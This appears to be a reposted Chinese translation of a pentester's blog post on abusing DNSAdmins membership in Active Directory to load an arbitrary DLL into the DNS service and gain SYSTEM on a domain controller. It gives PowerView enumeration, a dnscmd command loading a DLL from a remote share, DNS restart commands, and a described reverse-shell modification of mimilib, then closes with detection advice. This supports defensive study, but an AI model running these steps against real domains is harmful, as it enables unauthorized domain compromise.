1. 程式人生 > >在域控中濫用DNSAdmins許可權的危害

在域控中濫用DNSAdmins許可權的危害

https://xz.aliyun.com/t/2932

翻譯自:http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
翻譯:聶心明
昨天,我讀了Shay Ber的文章,感覺非常不錯,連結在https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83 ,翻譯在:https://blog.csdn.net/niexinming/article/details/83099797

這篇文章很詳細的介紹了一個在域控環境中容易被濫用的功能。在紅藍對抗中,我十分依賴這個被濫用的功能,並且我也會在訓練中建議使用緩衝區溢位漏洞。這個被濫用的功能同樣非常致命且常常被忽略。

這篇文章詳細的介紹了這個在ad中被濫用的功能,這個提權的功能需要一個使用者,這個使用者是DNSAdmins組中的成員或者對SYSTEM許可權下的DNS服務具有寫的許可權且能夠載入任意DLL。因為很多企業的域控也是DNS伺服器,這是一個非常有趣的發現。讓我們看看這個功能在實戰中威力究竟如何。

建立一個實驗環境,在實驗室中我們作為一個普通的域使用者(labuser)去訪問AD域:

讓我們用PowerView(

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 )檢視部分DNSAdmins組中成員。

PS C:\>  Get-NetGroupMember -GroupName "DNSAdmins"

在真實的滲透環境中,下一步的目標是buildadmin使用者。我們用PowerView的Invoke-UserHunter 指令來尋找buildadmin組下可用的token。

PS C:\>  Invoke-UserHunter -UserName buildadmin

繼續討論這個主題,我假設我們已經找到buildadmin許可權下一個有效的憑據,並且當前的使用者(labuser)同時具有本地管理員許可權(派生管理員),所以,我們擁有了DNSAdmins使用者組成員許可權。
現在,我設計了兩個場景,第一個場景是域控和DNS伺服器是同一個伺服器,第二個場景是域控伺服器和DNS伺服器是分開的
首先看第一個場景,就是DNS服務執行在域控伺服器上,我會用Shay文章中提及到的方法載入一個dll。這也是PowerShell的一個模組--dnsserver--但是這個模組沒有一個很完善的文件。
在討論dll之前,我發現上面提到的帖子沒有解決的問題。如果你翻閱MS-DNSP 協議說明書可以看到,ServerLevelPluginDll 需要一個絕對路徑。這就意味著,從UNC路徑(網路路徑)載入dll是不可能的。我們必須從本地機器載入DLL。我嘗試從UNC路徑和http上載入DLL,都失敗了。而且因為我們需要域控上的寫許可權,所以這變相的提高了攻擊門檻。實際上,看了那個文章之後我不想寫這篇文章,但是我現在決定寫這個文章,目的是為了後人遇到相應的問題之後不會浪費很多時間尋找解決方案,而且我也會學習到一些東西。如果有比我更聰明的人找到遠端載入dll的方法的話,我會更開心。
更新:Benjamin(

https://twitter.com/gentilkiwi/status/862038363829919744 )提出可以從UNC路徑載入DLL。 我的錯誤的原因是使用‘c$’作為unc路徑!
我們使用下面的路徑載入DLL。\\ops-build\dll 這個路徑要能被域控所訪問。

PS C:\>  dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll

如果你要除錯的話(需要目標系統的管理員許可權),下面的指令可以告訴我們我們的DLL是否被成功的載入進系統中

PS C:\>  Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll

現在,因為我們的使用者是DNSAdmins組的成員,所以我們能重啟dns服務。這時,預設配置已經被改變,講道理,這需要一個有許可權的人去重啟重啟DNS服務。必須要從本地啟動服務,但是,在當前的場景中。我們必須需要遠端的管理員許可權才可以做成這樣的事情。那麼攻擊將會變的異常困難。

C:\> sc \\ops-dc stop dns
C:\> sc \\ops-dc start dns

所以,假設當上面的指令成功執行之後會發生什麼呢?為了此次攻擊,Benjamin很快的升級了mimilib。這次升級之後的版本在: https://github.com/gentilkiwi/mimikatz/blob/master/mimilib 中 它會把所有的DNS請求記錄在C:\Windows\system32\kiwidns.log

我要修改kdns.c( https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c )使其具有執行任意命令的能力,我在裡面插入了一段Nishang的powershell反彈指令碼( https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1 ),然後再使用Invoke-Encode把反彈語句做一次編碼。這樣的話,每執行一次dns請求payload就會執行一次,而且kiwidns.log也會被正常的建立和記錄。

在伺服器上監聽一個埠等待反彈:

太棒啦!我們拿到了域控上的SYSTEM許可權。並且我們擁有了這個域和這個域下的所有資源。

對於第二張場景,如果dns服務沒有執行在域控伺服器上,我們仍然會獲得system許可權,但是這個system許可權僅僅屬於DNSAdmins組,不過可以重啟dns服務。

如何發現這樣的攻擊呢?

為了阻止攻擊,要審查dns伺服器物件的許可權和DNSAdmins組下的成員。
日誌中有兩個事件可以找到dns重啟的線索:日誌事件150是重啟失敗的ID,770是成功的ID。


Microsoft-Windows-DNS-Server/Audit中成功和失敗的事件都是541

監視HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll的改變也會非常有用
希望你能喜歡我的文章